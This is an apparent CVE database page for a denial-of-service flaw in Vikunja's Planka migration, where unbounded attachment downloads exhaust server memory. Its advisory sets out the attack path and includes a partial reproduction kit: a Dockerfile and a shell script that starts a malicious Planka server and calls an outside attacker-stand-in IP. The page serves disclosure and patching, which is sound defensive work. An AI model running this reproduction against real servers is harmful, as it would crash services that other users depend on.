VulnerabilityPublished 15 Sep 2026

CVE-2026-91970: vikunja · Unthrottled Resource Allocation

Affects vikunjaSource CVE Database V5

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Not known to be exploited · CVSS 6.5 Medium : upgrade to 2.6.0 when convenient.

Data as of 30 Oct 2026, 20:25 UTC

CVSS 3.1 base score

6.5Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 31% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.6.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 15 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade vikunja and github.com/go-vikunja/vikunja to 2.6.0.

Affected software

Product	Affected	Fixed in
go-vikunjavikunja	Affected <2.6.0	Fixed in 2.6.0
Gogithub.com/go-vikunja/vikunja`pkg:golang/github.com/go-vikunja/vikunja`Other threats	Affected <2.6.0	Fixed in 2.6.0

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AI-suggested

If you cannot patch yet, restrict access to the migration API endpoint to trusted users and avoid using untrusted Planka servers for migration. Monitor resource usage during migration operations and consider implementing external resource limits or timeouts to mitigate potential abuse.

Description

# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/user

Impact

An authenticated low-privilege user can cause the Vikunja API process to consume excessive memory by triggering a migration from a malicious Planka server that serves many large attachments. This leads to out-of-memory conditions and termination of the API process, resulting in denial of service and unavailability of the API. There is no impact on confidentiality or integrity, but availability is significantly affected.

Summary

The Planka migration feature in go-vikunja vikunja allows any authenticated user to specify a Planka server for migration. While individual JSON responses, pagination loops, and attachments have size limits, there is no overall aggregate memory limit for the migration job. During migration, all non-link attachments are downloaded and stored in memory until the entire hierarchy is processed. An attacker-controlled public Planka server can serve many large attachments (e.g., multiple 20 MiB files), causing the Vikunja API process to exhaust available memory and be terminated by the operating system. This vulnerability results in a resource exhaustion denial-of-service (DoS) via the POST /api/v2/migration/planka/migrate endpoint and the asynchronous migration worker. The issue was verified on commit d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026 and affects versions greater than 0 and less than 2.6.0. The attack requires a low-privilege authenticated user and a malicious Planka server under attacker control.

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 9 Oct 2026, 22:47 UTC

Technical details

References

Community reviews

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